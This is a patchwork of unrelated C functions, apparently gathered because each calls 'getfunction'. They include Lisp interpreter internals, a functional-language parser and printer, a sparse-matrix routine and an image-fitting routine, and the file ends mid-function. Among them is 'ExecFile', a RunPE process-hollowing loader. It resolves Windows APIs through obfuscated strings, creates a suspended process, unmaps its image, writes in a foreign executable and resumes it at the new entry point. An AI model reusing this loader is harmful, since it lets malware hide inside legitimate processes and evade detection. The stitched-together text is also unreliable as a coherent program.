// Dump the contents of the obarray
LOCAL void nyx_show_obarray()
{
LVAL array = getvalue(obarray);
LVAL sym;
int i;
for (i = 0; i < HSIZE; i++) {
for (sym = getelement(array, i); sym; sym = cdr(sym)) {
LVAL syma = car(sym);
printf("_sym_ = ");
xlprint(getvalue(s_stdout), syma, TRUE);
if (getvalue(syma)) {
printf(" _type_ = %s _val_ = ", _types_[ntype(getvalue(syma))]);
xlprint(getvalue(s_stdout), getvalue(syma), TRUE);
}
if (getfunction(syma)) {
printf(" _type_ = %s _fun_ = ", _types_[ntype(getfunction(syma))]);
xlprint(getvalue(s_stdout), getfunction(syma), TRUE);
}
printf("\n");
}
}
}
/* dotest2 - call a test function with two arguments */
int dotest2 P3C(LVAL, arg1, LVAL, arg2, LVAL, fun)
{
FRAMEP newfp;
/* Speedup for default case TAA MOD */
if (fun == getfunction(s_eql))
return (eql(arg1,arg2));
/* Speedup for EQ and EQUAL for hash tables */
if (fun == getfunction(s_eq))
return (arg1 == arg2);
if (fun == getfunction(s_equal))
return (equal(arg1,arg2));
/* create the new call frame */
newfp = xlsp;
pusharg(cvfixnum((FIXTYPE)(newfp - xlfp)));
pusharg(fun);
pusharg(cvfixnum((FIXTYPE)2));
pusharg(arg1);
pusharg(arg2);
xlfp = newfp;
/* return the result of applying the test function */
return (xlapply(2) != NIL);
}
static void WriteApply(Cell *c)
{
int k;
char *name;
for(k=0; c->tag==APPLY; k++,c=c->left) push(c->right);
if(k == 2
&& c->tag == FUNC
&& (name = getfunction(c->value)->name) != NULL
&& !(isalpha(name[0]) || name[0] == '_'))
{
WriteC(pop(), True);
WriteString(" ");
WriteString(name);
WriteString(" ");
WriteC(pop(), True);
}
else
{
WriteC(c, True);
for(; k>0; k--)
{
WriteString(" ");
WriteC(pop(), True);
}
}
}
void runtimeerror(TagType tag, int hashtablenr)
{
char string[stringsize];
if(hashtablenr >= 0)
sprintf(string, "%s in function %s", runtimeerrormessage(tag), getfunction(hashtablenr)->name);
else
sprintf(string, "%s", runtimeerrormessage(tag));
error(string);
}
// Restore the symbol values to their original value and remove any added
// symbols.
LOCAL void nyx_restore_obarray()
{
LVAL obvec = getvalue(obarray);
int i;
// Scan all obarray vectors
for (i = 0; i < HSIZE; i++) {
LVAL last = NULL;
LVAL dcon;
// Scan all elements
for (dcon = getelement(obvec, i); dcon; dcon = cdr(dcon)) {
LVAL dsym = car(dcon);
char *name = (char *)getstring(getpname(dsym));
LVAL scon;
// Ignore *OBARRAY* since setting it causes the input array to be
// truncated.
if (strcmp(name, "*OBARRAY*") == 0) {
continue;
}
// Ignore *SCRATCH* since it's allowed to be updated
if (strcmp(name, "*SCRATCH*") == 0) {
continue;
}
// Find the symbol in the original obarray.
for (scon = getelement(nyx_obarray, hash(name, HSIZE)); scon; scon = cdr(scon)) {
LVAL ssym = car(scon);
// If found, then set the current symbols value to the original.
if (strcmp(name, (char *)getstring(getpname(ssym))) == 0) {
setvalue(dsym, nyx_dup_value(getvalue(ssym)));
setplist(dsym, nyx_dup_value(getplist(ssym)));
setfunction(dsym, nyx_dup_value(getfunction(ssym)));
break;
}
}
// If we didn't find the symbol in the original obarray, then it must've
// been added and must be removed from the current obarray.
if (scon == NULL) {
if (last) {
rplacd(last, cdr(dcon));
}
else {
setelement(obvec, i, cdr(dcon));
}
}
// Must track the last dcon for symbol removal
last = dcon;
}
}
}
/* xltest - get the :test or :test-not keyword argument */
VOID xltest P2C(LVAL *, pfcn, int *, ptresult)
{
if (xlgetkeyarg(k_test,pfcn)) /* :test */
*ptresult = TRUE;
else if (xlgetkeyarg(k_tnot,pfcn)) /* :test-not */
*ptresult = FALSE;
else {
*pfcn = getfunction(s_eql);
*ptresult = TRUE;
}
}
/* xlsubr - define a builtin function */
LVAL xlsubr P4C(char *, sname, int, type, subrfun, fcn, int, offset)
{
LVAL sym;
sym = xlenter(sname);
#ifdef MULVALS
setfunction(sym,cvsubr(fcn, type&TYPEFIELD, offset));
setmulvalp(getfunction(sym), (type & (TYPEFIELD+1)) ? TRUE : FALSE);
#else
setfunction(sym,cvsubr(fcn,type,offset));
#endif /* MULVALS */
return (sym);
}
static void parsetypesynonym(void)
{
Cell *head = pop();
setchecktypevariables(COLLECT);
push(template_match);
for(; head->tag==APPLY; head=head->left)
{
if(head->right->tag != UNDEFINED && head->right->tag != FUNC) parseerror(9);
push(maketypevariable(getfunction(head->right->value)->name));
make(STRUCT);
}
if(head->tag != UNDEFINED && head->tag != FUNC) parseerror(10);
makeconstant(FUNC, head->value);
make(STRUCT);
setchecktypevariables(CHECK);
gettoken();
parsetype(TYPEEXPR);
makeinverse(TYPESYNONYM);
if(!inserttypeexpr(getfunction(head->value)->name, pop())) parseerror(12);
setchecktypevariables(NOCHECK);
}
/* xlxgetfunction - get the functional value of a symbol */
LVAL xlxgetfunction(LVAL sym)
{
register LVAL fp,ep;
/* check the environment list */
for (fp = xlfenv; fp; fp = cdr(fp))
for (ep = car(fp); ep; ep = cdr(ep))
if (sym == car(car(ep)))
return (cdr(car(ep)));
/* return the global value */
return (getfunction(sym));
}
/* xsymfunction - get the functional value of a symbol */
LVAL xsymfunction(void)
{
LVAL sym,val;
/* get the symbol */
sym = xlgasymbol();
xllastarg();
/* get the global value */
while ((val = getfunction(sym)) == s_unbound)
xlfunbound(sym);
/* return its value */
return (val);
}
static void parseabstype(void)
{
Cell *head, *abstype;
int globaltokenoffside;
gettoken();
parselefthandside();
abstype = pop();
while(abstype->tag == APPLY) abstype = abstype->left;
if(abstype->tag != UNDEFINED && abstype->tag != FUNC) parseerror(13);
if(!insertabstype(getfunction(abstype->value)->name, abstype)) parseerror(12);
if(tokentype != WITH) parseerror(14);
globaltokenoffside = tokenoffside;
tokenoffside = tokenindent + 1;
gettoken();
while(tokentype == IDENTIFIER || tokentype == OPERATOR || tokentype == LPAR)
{
int temptokenoffside = tokenoffside;
parselefthandside();
tokenoffside = tokenindent + 1;
if(tokentype != COLONS) parseerror(15);
head = pop();
if(head->tag != UNDEFINED && head->tag != FUNC) parseerror(13);
gettoken();
parsetype(TYPEEXPR);
if(!inserttypeexpr(getfunction(head->value)->name, pop()))
parseerror(12);
if(!insertabstype(getfunction(head->value)->name, abstype))
parseerror(12);
while(tokentype == SEP) gettoken();
tokenoffside = temptokenoffside;
if(tokentype == offside) gettoken();
}
tokenoffside = globaltokenoffside;
if(tokentype == offside) gettoken();
}
static void parsesection(int prio)
{
while(tokentype == OPERATOR)
{
Cell *temp = gettemplate(tokenval);
FuncDef *fun = getfunction(temp->value);
if(fun->prio > prio) break;
push(temp);
make(APPLY);
gettoken();
if(tokentype == RPAR) break;
parseexpression(fun->assoc==Left ? fun->prio-1 : fun->prio);
makeinverse(APPLY);
}
}
// Make a copy of the original obarray, leaving the original in place
LOCAL void nyx_save_obarray()
{
LVAL newarray;
int i;
// This provide permanent protection for nyx_obarray as we do not want it
// to be garbage-collected.
xlprot1(nyx_obarray);
nyx_obarray = getvalue(obarray);
// Create and set the new vector. This allows us to use xlenter() to
// properly add the new symbol. Probably slower than adding directly,
// but guarantees proper hashing.
newarray = newvector(HSIZE);
setvalue(obarray, newarray);
// Scan all obarray vectors
for (i = 0; i < HSIZE; i++) {
LVAL sym;
// Scan all elements
for (sym = getelement(nyx_obarray, i); sym; sym = cdr(sym)) {
LVAL syma = car(sym);
char *name = (char *) getstring(getpname(syma));
LVAL nsym = xlenter(name);
// Ignore *OBARRAY* since there's no need to copy it
if (strcmp(name, "*OBARRAY*") == 0) {
continue;
}
// Ignore *SCRATCH* since it's allowed to be updated
if (strcmp(name, "*SCRATCH*") == 0) {
continue;
}
// Duplicate the symbol's values
setvalue(nsym, nyx_dup_value(getvalue(syma)));
setplist(nsym, nyx_dup_value(getplist(syma)));
setfunction(nsym, nyx_dup_value(getfunction(syma)));
}
}
// Swap the obarrays, so that the original is put back into service
setvalue(obarray, nyx_obarray);
nyx_obarray = newarray;
}
static void makerecordfield(Cell *recordtype, Cell *field, Cell *fieldtype)
{
char *fieldname = getfunction(field->value)->name;
Cell *var = newcell(VARIABLE);
var->value = 1;
var->left = field;
push(fieldtype);
push(recordtype);
make(APPLY);
if(!inserttypeexpr(fieldname, pop())) parseerror(12);
push(var);
push(var);
push(field);
make(ALIAS);
makecompound(RECORD, 1);
push(field);
make(APPLY);
make(LIST);
if(!insert(fieldname, 1, FUNC, pop(), NULL)) parseerror(18);
}
/* initwks - build an initial workspace */
LOCAL void initwks(void)
{
FUNDEF *p;
int i;
xlsinit(); /* initialize xlsym.c */
xlsymbols();/* enter all symbols used by the interpreter */
xlrinit(); /* initialize xlread.c */
xloinit(); /* initialize xlobj.c */
/* setup defaults */
setvalue(s_evalhook,NIL); /* no evalhook function */
setvalue(s_applyhook,NIL); /* no applyhook function */
setvalue(s_tracelist,NIL); /* no functions being traced */
setvalue(s_tracenable,NIL); /* traceback disabled */
setvalue(s_tlimit,NIL); /* trace limit infinite */
setvalue(s_breakenable,NIL); /* don't enter break loop on errors */
setvalue(s_loadingfiles,NIL); /* not loading any files initially */
setvalue(s_profile,NIL); /* don't do profiling */
setvalue(s_gcflag,NIL); /* don't show gc information */
setvalue(s_gchook,NIL); /* no gc hook active */
setvalue(s_ifmt,cvstring(IFMT)); /* integer print format */
setvalue(s_ffmt,cvstring("%g")); /* float print format */
setvalue(s_printcase,k_upcase); /* upper case output of symbols */
/* install the built-in functions and special forms */
for (i = 0, p = funtab; p->fd_subr != NULL; ++i, ++p)
if (p->fd_name)
xlsubr(p->fd_name,p->fd_type,p->fd_subr,i);
/* add some synonyms */
setfunction(xlenter("NOT"),getfunction(xlenter("NULL")));
setfunction(xlenter("FIRST"),getfunction(xlenter("CAR")));
setfunction(xlenter("SECOND"),getfunction(xlenter("CADR")));
setfunction(xlenter("THIRD"),getfunction(xlenter("CADDR")));
setfunction(xlenter("FOURTH"),getfunction(xlenter("CADDDR")));
setfunction(xlenter("REST"),getfunction(xlenter("CDR")));
}
static void parsedefinition(bool globallevel)
{
Cell *head;
int globaltokenoffside = tokenindent, posCode;
bool generic = False;
if(tokentype == ABSTYPE && globallevel)
{
parseabstype();
while(tokentype == SEP) gettoken();
return;
}
else if(tokentype == GENERIC && globallevel)
{
generic = True;
gettoken();
}
parselefthandside();
posCode = getPositionCode();
tokenoffside = tokenindent + 1;
if(tokentype == COLONS && globallevel)
{
head = pop();
if(head->tag != UNDEFINED && head->tag != FUNC) parseerror(13);
gettoken();
parsetype(TYPEEXPR);
if(!inserttypeexpr(getfunction(head->value)->name, pop())) parseerror(12);
getfunction(head->value)->generic = generic;
while(tokentype == SEP) gettoken();
}
else if(tokentype == DEF && globallevel)
{
parsestructdef();
while(tokentype == SEP) gettoken();
}
else if(tokentype == SYN && globallevel)
{
parsetypesynonym();
while(tokentype == SEP) gettoken();
}
else
{
head = top();
if(head->tag == APPLY || globallevel)
{
for(; head->tag==APPLY; head=head->left) checkpattern(head->right);
if(head->tag != UNDEFINED && head->tag != FUNC) parseerror(17);
if(globallevel) storefunctionname(getfunction(head->value)->name);
}
else
checkpattern(head);
parseexpressionclause();
if(tokentype == WHERE)
{
gettoken();
parsewhereclause();
}
else if(tokentype == offside)
{
tokenoffside = globaltokenoffside;
gettoken();
if(tokentype == WHERE)
{
tokenoffside = tokenindent + 1;
gettoken();
parsewhereclause();
}
}
makeinverse(LIST);
top()->value = posCode;
if(globallevel)
{
Cell *def = pop();
int argcount = 0;
char *funname;
head = def;
for(head=head->left; head->tag==APPLY; head=head->left) argcount++;
funname = getfunction(head->value)->name;
initrename(funname);
def = renamerec(FUN, def);
if(!insert(funname, argcount, FUNC, def, NULL)) parseerror(18);
}
}
}
static void parsestructdef(void)
{
char structname[stringsize];
char *headname;
int count;
Cell *head = pop();
setchecktypevariables(COLLECT);
push(template_match);
for(; head->tag==APPLY; head=head->left)
{
if(head->right->tag != UNDEFINED && head->right->tag != FUNC) parseerror(9);
push(maketypevariable(getfunction(head->right->value)->name));
make(STRUCT);
}
if(head->tag != UNDEFINED && head->tag != FUNC) parseerror(10);
headname = getfunction(head->value)->name;
makeconstant(FUNC, head->value);
make(STRUCT);
setchecktypevariables(CHECK);
gettoken();
head = top();
if(tokentype == LACC)
{
count = 0;
do
{
gettoken();
if(tokentype != IDENTIFIER) parseerror(25);
push(gettemplate(tokenval));
gettoken();
if(tokentype != COLONS) parseerror(15);
gettoken();
parsetype(TYPEEXPR);
makerecordfield(head, getN(2), getN(1));
makeinverse(TYPEDEF);
count++;
}
while(tokentype == COMMA);
makecompound(RECORD, count);
makeinverse(TYPEDEF);
if(tokentype != RACC) parseerror(33);
gettoken();
}
else
{
for(;;)
{
if(tokentype != TYPEID) parseerror(11);
strcpy(structname, tokenval);
count = 0;
gettoken();
while(tokentype == IDENTIFIER
|| tokentype == OPERATOR
|| tokentype == LBRACK
|| tokentype == LPAR)
{
parsetype(TYPETERM);
count++;
}
push(head);
while(count-- > 0) makeinverse(APPLY);
if(!inserttypeexpr(structname, pop())) parseerror(12);
if(tokentype != BAR) break;
gettoken();
}
}
if(!inserttypeexpr(headname, pop())) parseerror(12);
setchecktypevariables(NOCHECK);
}
static void WriteT(Cell *c, bool parentheses)
{
int k;
if(c == NULL) return;
switch(c->tag)
{
case INT: case REAL:
WriteString("num");
break;
case CHAR:
WriteString("char");
break;
case BOOLEAN:
WriteString("bool");
break;
case NULLTUPLE:
WriteString("()");
break;
case LIST:
WriteString("[");
WriteT(c->left, False);
WriteString("]");
break;
case PAIR:
WriteString("(");
WriteT(c->left, False);
while(c->right->tag == PAIR)
{
WriteString(", ");
c = c->right;
WriteT(c->left, False);
}
WriteString(")");
break;
case RECORD:
WriteString("{");
WriteCell(c->left->left);
WriteString(" :: ");
WriteT(c->left->right, False);
while(c->right->tag == RECORD)
{
WriteString(", ");
c = c->right;
WriteCell(c->left->left);
WriteString(" :: ");
WriteT(c->left->right, False);
}
WriteString("}");
break;
case APPLY:
if(parentheses) WriteString("(");
while(c->tag == APPLY)
{
WriteT(c->left, True);
WriteString(" -> ");
c = c->right;
}
WriteT(c, False);
if(parentheses) WriteString(")");
break;
case TYPEVAR:
for(k=1; k<=c->value; k++) WriteString("*");
break;
case TYPESYNONYM:
WriteT(c->left, False);
WriteString(" == ");
WriteT(c->right, False);
break;
case TYPEDEF:
WriteT(c->left, False);
WriteString(" ::= ");
WriteT(c->right, False);
break;
case STRUCT:
if(parentheses) WriteString("(");
WriteString(getfunction(c->left->value)->name);
while(c->right->tag == STRUCT)
{
WriteString(" ");
c = c->right;
WriteT(c->left, True);
}
if(parentheses) WriteString(")");
break;
default:
systemerror(8);
}
}
void ML_get_matrix_row(ML_Operator *input_matrix, int N_requested_rows,
int requested_rows[], int *allocated_space, int **columns,
double **values, int row_lengths[], int index)
{
int i, *mapper, *t1, row;
ML_Operator *next;
double *t2;
void *data;
int (*getfunction)(void *,int,int*,int,int*,double*,int*);
#ifdef DEBUG2
if (N_requested_rows != 1) {
printf("ML_get_matrix_row is currently implemented for only 1 row");
printf(" at a time.\n");
exit(1);
}
#endif
row = requested_rows[0];
#ifdef DEBUG2
if ( (row >= input_matrix->getrow->Nrows) || (row < 0) ) {
row_lengths[0] = 0;
return;
}
#endif
if (input_matrix->getrow->row_map != NULL) {
if (input_matrix->getrow->row_map[row] != -1)
row = input_matrix->getrow->row_map[row];
else {
row_lengths[0] = 0;
ML_avoid_unused_param( (void *) &N_requested_rows);
return;}
}
next = input_matrix->sub_matrix;
while ( (next != NULL) && (row < next->getrow->Nrows) ) {
input_matrix = next;
next = next->sub_matrix;
}
if (next != NULL) row -= next->getrow->Nrows;
data = (void *) input_matrix;
getfunction = (int (*)(void *,int,int*,int,int*,double*,int*))
input_matrix->getrow->func_ptr;
while(getfunction(data,1,&row,*allocated_space-index,
&((*columns)[index]), &((*values)[index]), row_lengths) == 0) {
*allocated_space = 2*(*allocated_space) + 1;
t1 = (int *) ML_allocate(*allocated_space*sizeof(int ));
if (t1 == NULL) {
printf("Not enough space to get a matrix row. A row length of \n");
printf("%d Was not sufficient\n",(*allocated_space-1)/2);
fflush(stdout);
exit(1);
}
else {
for (i = 0; i < index; i++) t1[i] = (*columns)[i];
if (*columns != NULL) ML_free(*columns);
*columns = t1;
}
t2 = (double *) ML_allocate(*allocated_space*sizeof(double));
if (t2 == NULL) {
printf("Not enough space to get a matrix row. A row length of \n");
printf("%d Was not sufficient\n",(*allocated_space-1)/2);
fflush(stdout);
exit(1);
}
for (i = 0; i < index; i++) t2[i] = (*values)[i];
if (*values != NULL) ML_free(*values);
*values = t2;
}
if ( (input_matrix->getrow->use_loc_glob_map == ML_YES)) {
mapper = input_matrix->getrow->loc_glob_map;
for (i = 0; i < row_lengths[0]; i++)
(*columns)[i+index] = mapper[(*columns)[index+i]];
}
}
int
mathfunc()
{
int i;
double val;
double *xvars; /* Values of the independent variable(s) */
int nvars; /* Nbr of independent variables */
int np = 0; /* Number of numerical parameters found */
double threshold = 0; /* Ignore pixels below this intensity */
double sigLev = 1; // Significance level to set pixel's fit value (1=no significance)
double chisq = 0; // Chi-square -- alternative to sigLev, if set
double snThresh = 0; // min S/N to set value of parameter pixel
int nparams = 0; /* Nbr of parameters in fit */
char *xname = "ti";
char msg[256];
char *str;
int quick = FALSE;
int noderiv = FALSE;
int gotfun = FALSE;
int fit_type = NONLINEAR;
int use_prev_params = FALSE;
int prev = FALSE;
int noprev = FALSE;
int pdone;
void (*function)() = NULL;
void (*jacobian)() = NULL;
int (*guess)() = NULL;
int (*parfix)() = NULL;
int (*method)() = NULL;
double *(*xvarfunc)() = set_xvars;
int arg = 2;
extern double d1mach_();
if (in_vec_len[0]<1){
ib_errmsg("MATH: fit: No input images");
return FALSE;
}
if (input_sizes_differ){
ib_errmsg("MATH: fit: Input image sizes differ");
return FALSE;
}
if (!want_output(0)){
ib_errmsg("MATH: fit: No frame for first output image");
return FALSE;
}
/* Read numerical parameters (nothing to do with params of the fit!) */
pdone = FALSE;
for (i=0; i<nbr_params && !pdone; i++){
val = in_params[i];
switch (i){
case 0:
threshold = val;
pdone = TRUE; /* Last parameter to read */
break;
}
}
nbr_params -= i;
in_params += i;
/* Read string parameters */
gotfun = FALSE;
for (i=0; i<nbr_strings; i++){
str = in_strings[i];
if (!gotfun && getfunction(str, &nparams, &use_prev_params, &fit_type,
&function, &jacobian, &guess, &parfix))
{
/* Got a functional form */
gotfun = TRUE;
}else if (!quick && strcasecmp(str,"quick") == 0){
/* Use "quick" mode */
quick = TRUE;
}else if (!noderiv && strcasecmp(str,"noderiv") == 0){
/* Do not use derivative, even if available */
noderiv = TRUE;
}else if (!prev && strcasecmp(str,"prev") == 0){
/* Use previous parameter values for estimates */
prev = TRUE;
}else if (!noprev && strcasecmp(str,"noprev") == 0){
/* Do not use previous parameter values for estimates */
noprev = TRUE;
} else if (strncasecmp(str, "p=", 2) == 0) {
val = atof(str+2);
if (val != 0) {
val = val < 1e-20 ? 1e-20 : (val > 1 ? 1 : val);
sigLev = val;
}
} else if (strncasecmp(str, "chisq=", 6) == 0) {
val = atof(str+6);
if (val != 0) {
chisq = val;
}
} else if (strncasecmp(str, "snThresh=", 9) == 0) {
val = atof(str+9);
if (val != 0) {
snThresh = val;
}
}else{
/* None of the above--assume independent variable name */
xname = str;
}
}
/* Do not write to more output files than we can usefully use */
if (nparams){
int maxout;
maxout = 2 * nparams + 1;
if (maxout<nbr_outfiles) nbr_outfiles = maxout; /* Change global var */
}
create_output_files(nbr_outfiles, in_object[0]);
/* Check the setup */
if (!gotfun){
ib_errmsg("MATH: fit: No known fit type specified");
return FALSE;
}
if (noderiv){
jacobian = NULL;
}
if (prev){
use_prev_params = TRUE;
}else if (noprev){
use_prev_params = FALSE;
}
if (quick || !function){
method = NULL;
}else{
method = marquardt;
}
/* Set the independent variable */
xvars = (*xvarfunc)(in_object, in_vec_len[0], xname, &nvars);
if (!xvars){
sprintf(msg,"MATH: No values for independent variable \"%.200s\"",
xname);
ib_errmsg(msg);
return FALSE;
}
if (chisq == 0) {
chisq = chisqCompInv(sigLev, in_vec_len[0] - nparams + 1);
}
fit_images(in_object, in_vec_len[0], xvars, nvars,
threshold, chisq, snThresh, img_width, img_height, img_depth,
out_object, nbr_outfiles, want_output, fit_type,
nparams, use_prev_params,
function, jacobian, method, guess, parfix);
write_output_files();
return TRUE;
}
/* xlapply - apply a function to arguments (already on the stack) */
LVAL xlapply(int argc)
{
LVAL *oldargv,fun,val;
LVAL funname;
LVAL old_profile_fixnum = profile_fixnum;
FIXTYPE *old_profile_count_ptr = profile_count_ptr;
int oldargc;
/* get the function */
fun = xlfp[1];
/* get the functional value of symbols */
if (symbolp(fun)) {
funname = fun; /* save it */
while ((val = getfunction(fun)) == s_unbound)
xlfunbound(fun);
fun = xlfp[1] = val;
if (profile_flag && atomp(funname)) {
LVAL profile_prop = findprop(funname, s_profile);
if (null(profile_prop)) {
/* make a new fixnum, don't use cvfixnum because
it would return shared pointer to zero, but we
are going to modify this integer in place --
dangerous but efficient.
*/
profile_fixnum = newnode(FIXNUM);
profile_fixnum->n_fixnum = 0;
setplist(funname, cons(s_profile,
cons(profile_fixnum,
getplist(funname))));
setvalue(s_profile, cons(funname, getvalue(s_profile)));
} else profile_fixnum = car(profile_prop);
profile_count_ptr = &getfixnum(profile_fixnum);
}
}
/* check for nil */
if (null(fun))
xlerror("bad function",fun);
/* dispatch on node type */
switch (ntype(fun)) {
case SUBR:
oldargc = xlargc;
oldargv = xlargv;
xlargc = argc;
xlargv = xlfp + 3;
val = (*getsubr(fun))();
xlargc = oldargc;
xlargv = oldargv;
break;
case CONS:
if (!consp(cdr(fun)))
xlerror("bad function",fun);
if (car(fun) == s_lambda) {
fun = xlclose(NIL,
s_lambda,
car(cdr(fun)),
cdr(cdr(fun)),
xlenv,xlfenv);
} else
xlerror("bad function",fun);
/**** fall through into the next case ****/
case CLOSURE:
if (gettype(fun) != s_lambda)
xlerror("bad function",fun);
val = evfun(fun,argc,xlfp+3);
break;
default:
xlerror("bad function",fun);
}
/* restore original profile counting state */
profile_fixnum = old_profile_fixnum;
profile_count_ptr = old_profile_count_ptr;
/* remove the call frame */
xlsp = xlfp;
xlfp = xlfp - (int)getfixnum(*xlfp);
/* return the function value */
return (val);
}
// ExecFile based on RUNPE work (c) Someone 2009
void ExecFile(LPSTR szFilePath, LPVOID pFile) {
// On va creer un process suspendu, demapper le nouveau process, aligner la taille avce notre pe
// recopier notre pe dans les sections, demarre et sauter dans le process
PIMAGE_DOS_HEADER IDH; // Structure http://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html
PIMAGE_NT_HEADERS INH;
PIMAGE_SECTION_HEADER ISH;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
PCONTEXT CTX;
PDWORD dwImageBase;
PNtUnmapViewOfSection xNtUnmapViewOfSection;
PWriteProcessMemory xWriteProcessMemory ;
PNtResumeThread xNtResumeThread;
PGetThreadContext xGetThreadContext;
PSetThreadContext xSetThreadContext;
PGetProcAddress xGetProcAddress;
PCreateProcessA xCreateProcessA;
PReadProcessMemory xReadProcessMemory;
PLoadLibrary xLoadLibrary;
PVirtualAllocEx xVirtualAllocEx;
LPVOID pImageBase;
int Count;
int extern str_ntdll() asm ("str_ntdll");
int extern str_kernel32() asm ("str_kernel32");
int extern str_ReadProcessMemory() asm ("str_ReadProcessMemory");
int extern str_GetProcAddress() asm ("str_GetProcAddress");
int extern str_ReadProcAddress() asm ("str_ReadProcAddress");
int extern str_WriteProcessMemory() asm ("str_WriteProcessMemory");
int extern str_GetThreadContext() asm ("str_GetThreadContext");
int extern str_SetThreadContext() asm ("str_SetThreadContext");
int extern str_ReadProcessMemory() asm ("str_ReadProcessMemory");
int extern str_CreateProcessA() asm ("str_CreateProcessA");
int extern str_NtResumeThread() asm ("str_NtResumeThread");
int extern str_NtUnmapViewOfSection() asm ("str_NtUnmapViewOfSection");
int extern str_VirtualAllocEx() asm ("str_VirtualAllocEx");
xLoadLibrary = (PLoadLibrary) getfunction (findkernel() ,ostring((unsigned char *) &str_LoadLibrary ));
HINSTANCE Hkernel32 = xLoadLibrary((LPCTSTR) ostring((unsigned char *) &str_kernel32 ));
HINSTANCE Hntdll = xLoadLibrary((LPCTSTR) ostring((unsigned char * ) &str_ntdll ));
xGetProcAddress = (PGetProcAddress) getfunction(findkernel(),ostring((unsigned char *) &str_GetProcAddress));
xSetThreadContext = ( PSetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_SetThreadContext));
xNtResumeThread = (PNtResumeThread)(xGetProcAddress(Hntdll,(LPCSTR) ostring((unsigned char *) &str_NtResumeThread)));
IDH = PIMAGE_DOS_HEADER(pFile);
if (IDH->e_magic == IMAGE_DOS_SIGNATURE) { // TEST MZ
INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
if (INH->Signature == IMAGE_NT_SIGNATURE) { // TESTPE
RtlZeroMemory(&SI, sizeof(SI));
RtlZeroMemory(&PI, sizeof(PI));
// Cree un process etat suspendu
xCreateProcessA = (PCreateProcessA) (xGetProcAddress(Hkernel32,(LPCSTR) ostring((unsigned char *) &str_CreateProcessA)));
if (xCreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) {
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
xGetThreadContext = ( PGetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_GetThreadContext));
if (xGetThreadContext(PI.hThread, LPCONTEXT(CTX))){
xReadProcessMemory = (PReadProcessMemory) getfunction(findkernel(), ostring((unsigned char *)&str_ReadProcessMemory));
xReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
// Mappe l'exe dans la thread
if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase) {
vaauxfraises(DWORD(dwImageBase));
xNtUnmapViewOfSection = (PNtUnmapViewOfSection)(xGetProcAddress(Hntdll,(LPCSTR) ostring((unsigned char *)&str_NtUnmapViewOfSection)));
xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
}
xVirtualAllocEx = ( PVirtualAllocEx) getfunction(findkernel(),ostring((unsigned char *)&str_VirtualAllocEx));
pImageBase = xVirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase) {
// HMODULE aKERNEL32=LoadLibrary(vKERNEL32);
xWriteProcessMemory = (PWriteProcessMemory) getfunction(findkernel(),ostring((unsigned char *)&str_WriteProcessMemory));
xWriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++) {
ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
startrand();
xWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
}
xWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
// Et on demarre la thread
xSetThreadContext = ( PSetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_SetThreadContext));
xSetThreadContext(PI.hThread, LPCONTEXT(CTX));
startrand();
xNtResumeThread(PI.hThread);
}
}
}
}
}
GetLastError();
VirtualFree(pFile, 0, MEM_RELEASE);
}
static void WriteC(Cell *c, bool parentheses)
{
int k;
FuncDef *fun;
if(c==NULL) return;
switch(c->tag)
{
case APPLY:
if(parentheses) WriteString("(");
WriteApply(c);
if(parentheses) WriteString(")");
break;
case ARG:
if(c->value>0)
Write("ARG(%d)", c->value);
else
Write("LOCAL(%d)", -c->value);
break;
case INT:
Write("%ld", integer(c));
break;
case REAL:
Write("%lg", real(c));
break;
case CHAR:
Write("'%c'", c->value);
break;
case BOOLEAN:
WriteString(c->value ? "True" : "False");
break;
case NULLTUPLE:
WriteString("()");
break;
case LIST:
WriteList(c, parentheses);
break;
case NIL:
WriteString("Nil");
break;
case STRUCT:
WriteElems(c, STRUCT, parentheses ? "(" : "", " ", parentheses ? ")" : "", True);
break;
case PAIR:
WriteElems(c, PAIR, "(", ", ", ")", False);
break;
case RECORD:
WriteElems(c, RECORD, "{", ", ", "}", False);
break;
case _IF:
if(parentheses) WriteString("(");
WriteString("_if ");
WriteC(c->left, True);
WriteString(" ");
WriteC(c->right->left, True);
WriteString(" ");
WriteC(c->right->right, True);
if(parentheses) WriteString(")");
break;
case MATCH:
if(parentheses) WriteString("(");
WriteString("_match ");
WriteC(c->left, True);
WriteString(" ");
WriteC(c->right, True);
if(parentheses) WriteString(")");
break;
case MATCHARG:
if(parentheses) WriteString("(");
for(;;)
{
WriteString("_match ");
WriteC(c->left, True);
WriteString(" ");
if(c->value>0)
Write("ARG(%d)", c->value);
else
Write("LOCAL(%d)", -c->value);
c = c->right;
if(c == NULL) break;
WriteString(" /\\ ");
}
if(parentheses) WriteString(")");
break;
case MATCHTYPE:
if(c->value == INT)
WriteString("num");
else if(c->value == BOOLEAN)
WriteString("bool");
else if(c->value == CHAR)
WriteString("char");
else
WriteString("...");
break;
case ALIAS:
if(parentheses) WriteString("(");
WriteC(c->left, False);
WriteString(" = ");
WriteC(c->right, False);
if(parentheses) WriteString(")");
break;
case UNDEFINED:
WriteString("undefined");
break;
case GENERATOR:
WriteString("[");
